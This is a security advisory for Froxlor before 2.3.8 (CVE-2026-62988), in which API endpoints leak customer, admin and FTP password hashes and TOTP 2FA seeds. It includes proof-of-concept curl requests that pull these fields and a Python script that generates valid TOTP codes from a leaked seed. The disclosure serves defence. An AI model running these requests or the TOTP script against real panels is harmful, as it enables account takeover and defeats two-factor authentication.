froxlor/froxlor
Affected
- introduced
0, fixed2.3.8(ecosystem)
Fixed versions
2.3.8
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-62988
Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints
Summary
Several Froxlor API command classes return sensitive authentication material in JSON API responses. The affected endpoints retrieve full database rows using SELECT *, SELECT alias.*, or equivalent full-row queries, then return the results directly through $this->response(...) without removing credential-related fields.
The exposed fields include password hashes for customers, administrators, and FTP users, as well as TOTP 2FA seed material for administrator and customer accounts.
This exposes credential-equivalent data to API clients that should not receive it. Password hashes can be cracked offline and reused for account takeover, while exposed TOTP seeds allow generation of valid 2FA codes for affected accounts. When both a password hash and TOTP seed are exposed for the same account, the vulnerability can defeat both authentication factors if the password hash is cracked or the password is otherwise obtained.
Details
The affected API classes retrieve entire database rows and return them without filtering sensitive fields:
lib/Froxlor/Api/Commands/Customers.php
Customers.get() and Customers.listing() select and return customer rows containing sensitive fields, including:
passwordtype_2fadata_2faWhen type_2fa = 2, the data_2fa value represents the Base32-encoded TOTP seed used by the customer's authenticator application.
The result is returned through $this->response($result) or $this->response(['list' => $result]) without removing these fields.
lib/Froxlor/Api/Commands/Admins.php
Admins.get() and Admins.listing() return administrator rows containing sensitive fields, including:
passwordtype_2fadata_2faWhen type_2fa = 2, the data_2fa value represents the Base32-encoded TOTP seed used by the administrator's authenticator application.
These fields are not stripped before returning the API response.
lib/Froxlor/Api/Commands/Ftps.php
Ftps.get() and Ftps.listing() return FTP user rows containing:
passwordThe password field is not stripped before returning the API response.
This behavior appears inconsistent with Froxlor's existing safe response patterns. For example, other API command classes explicitly remove password-related fields before returning responses. This indicates that credential material and sensitive internal fields are already treated as non-response data in other parts of the product.
Proof of Concept
Preconditions
Admins.*, the API account must have the required permission to call the affected administrator endpoint.Set variables:
export FROXLOR_BASE='https://froxlor.example.com'
export API_KEY='<api_key>'
export API_SECRET='<api_secret>'
PoC 1: Customer password hash and TOTP seed exposure
curl -k -sS -u "$API_KEY:$API_SECRET" \
-H 'Content-Type: application/json' \
-X POST \
-d '{"command":"Customers.listing","params":{}}' \
"$FROXLOR_BASE/api.php" | jq '.data.list[] | {customerid, loginname, password, type_2fa, data_2fa, email}'
Example vulnerable response:
{
"customerid": 1,
"loginname": "customer1",
"password": "$2y$12$REDACTED_HASH_VALUE...",
"type_2fa": 2,
"data_2fa": "REDACTED_BASE32_TOTP_SEED",
"email": "[email protected]"
}
The same issue can be verified with Customers.get:
curl -k -sS -u "$API_KEY:$API_SECRET" \
-H 'Content-Type: application/json' \
-X POST \
-d '{"command":"Customers.get","params":{"id":1}}' \
"$FROXLOR_BASE/api.php"
PoC 2: Administrator password hash and TOTP seed exposure
curl -k -sS -u "$API_KEY:$API_SECRET" \
-H 'Content-Type: application/json' \
-X POST \
-d '{"command":"Admins.listing","params":{}}' \
"$FROXLOR_BASE/api.php" | jq '.data.list[] | {adminid, loginname, password, type_2fa, data_2fa}'
Example vulnerable response:
{
"adminid": 1,
"loginname": "admin",
"password": "$2y$12$REDACTED_HASH_VALUE...",
"type_2fa": 2,
"data_2fa": "REDACTED_BASE32_TOTP_SEED"
}
The same issue can be verified with Admins.get:
curl -k -sS -u "$API_KEY:$API_SECRET" \
-H 'Content-Type: application/json' \
-X POST \
-d '{"command":"Admins.get","params":{"id":1}}' \
"$FROXLOR_BASE/api.php"
PoC 3: FTP password hash exposure
curl -k -sS -u "$API_KEY:$API_SECRET" \
-H 'Content-Type: application/json' \
-X POST \
-d '{"command":"Ftps.listing","params":{}}' \
"$FROXLOR_BASE/api.php" | jq '.data.list[] | {id, username, password}'
Example vulnerable response:
{
"id": 1,
"username": "customer1",
"password": "$2y$12$REDACTED_HASH_VALUE..."
}
The same issue can be verified with Ftps.get:
curl -k -sS -u "$API_KEY:$API_SECRET" \
-H 'Content-Type: application/json' \
-X POST \
-d '{"command":"Ftps.get","params":{"id":1}}' \
"$FROXLOR_BASE/api.php"
PoC 4: Generate a valid TOTP code from the exposed seed
If type_2fa = 2, the exposed data_2fa value can be used to generate valid TOTP codes for the affected account.
export TOTP_SEED='<base32_totp_seed_from_data_2fa>'
python3 - <<'PY'
import base64
import hashlib
import hmac
import os
import struct
import time
seed = os.environ["TOTP_SEED"].replace(" ", "").upper()
key = base64.b32decode(seed + "=" * ((8 - len(seed) % 8) % 8))
counter = int(time.time() // 30)
msg = struct.pack(">Q", counter)
digest = hmac.new(key, msg, hashlib.sha1).digest()
offset = digest[-1] & 0x0F
code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7fffffff
print(str(code % 1000000).zfill(6))
PY
The generated six-digit value is a valid TOTP code for the affected account during the current TOTP time window.
Expected behavior
API responses should never include password hashes, TOTP seeds, or other credential-equivalent authentication material in normal get or listing responses.
At minimum, the following fields should be omitted or redacted before returning API responses:
passworddata_2faImpact
An authenticated API user can retrieve credential material for accounts visible through the affected endpoints.
For password hashes, an attacker can perform offline cracking. If a weak or reused password is recovered, the attacker can authenticate as the affected customer, administrator, or FTP user. This may lead to unauthorized access to the hosting panel, FTP file access, hosted website modification, mail or database management, and lateral movement inside a shared-hosting environment.
For TOTP 2FA seeds, an attacker can generate valid one-time codes for affected administrator or customer accounts. TOTP seeds are long-lived secrets and remain valid until 2FA is reset. Exposure of data_2fa therefore weakens or bypasses the second authentication factor for affected accounts.
Critical Basis: The source's own band: CRITICAL
0, fixed 2.3.8 (ecosystem)2.3.8
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0